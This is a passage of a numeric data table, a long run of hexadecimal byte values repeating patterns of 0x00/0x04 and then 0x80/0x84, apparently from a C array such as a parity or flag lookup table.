0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 